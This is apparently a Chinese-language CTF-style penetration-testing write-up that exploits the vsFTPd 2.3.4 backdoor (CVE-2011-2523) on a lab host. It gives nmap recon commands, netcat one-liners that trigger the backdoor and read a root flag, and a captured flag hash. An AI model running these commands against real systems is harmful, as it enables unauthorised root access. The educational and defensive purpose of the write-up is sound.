🔐 漏洞评估与渗透测试（VAPT）

📌 项目：目标利用演练

⚠️ 本项目仅供教育和授权测试目的使用。
严禁未经授权访问系统。

👨‍💻 作者

SYAFIQ
角色：首席渗透测试工程师

🎯 目标信息

• 目标 IP： 10.150.150.12
• 操作系统： Ubuntu Linux
• 状态： 🔴 严重（检测到后门）
• 漏洞： CVE-2011-2523（vsFTPd 后门）

🧭 攻击概览

🚀 分步演练

🔍 第 1 步：网络侦察

扫描网络中的活跃主机：

nmap -sn --unprivileged 10.150.150.10-30

✅ 结果：

-检测到 8 台主机 -目标已识别：10.150.150.12

🔎 第 2 步：服务枚举

扫描开放端口和服务：

nmap -Pn -F --unprivileged -sV 10.150.150.12

✅ 发现：

-端口 21 → FTP（vsftpd） -端口 22 → SSH（OpenSSH 8.2p1）

⚠️ 第 3 步：漏洞扫描

检查已知的 FTP 后门漏洞：

nmap -Pn --unprivileged -p21 --script ftp-vsftpd-backdoor 10.150.150.12

🚨 结果：

-目标存在漏洞 -CVE-2011-2523 漏洞已确认

💣 第 4 步：漏洞利用

使用恶意用户名触发后门：

(echo "USER hello:)"; echo "PASS password"; sleep 1) | nc -nv 10.150.150.12 21

⚡ 这将在 6200 端口打开一个隐藏的 root shell

🔓 第 5 步：获取访问权限（Root Shell）

连接到后门并执行命令：

(echo "id; cat /root/FLAG1.txt"; sleep 1) | nc -nv 10.150.150.12 6200

✅ 结果：

已获得 root 权限 已确认 uid=0(root)

🏁 Flag 已捕获：

5ee499eb5d0b8e4269b13483e57adaa0b3815f48

🧠 关键要点

• 始终更新过时的服务（vsFTPd 曾存在漏洞）
• 配置不当的服务可能导致整个系统被攻陷
• 简单的扫描即可发现严重漏洞 -🛡️ 安全建议 -🔄 将 FTP 服务更新至最新版本 -🚫 禁用不必要的服务 -🔐 使用防火墙限制访问 -📊 定期进行安全审计 -📚 免责声明

本项目仅供以下用途：

学习网络安全 道德黑客实践 授权渗透测试

❌ 请勿将此知识用于非法活动。

⭐ 结语

“安全不是产品，而是过程。” —— 始终测试、监控并改进。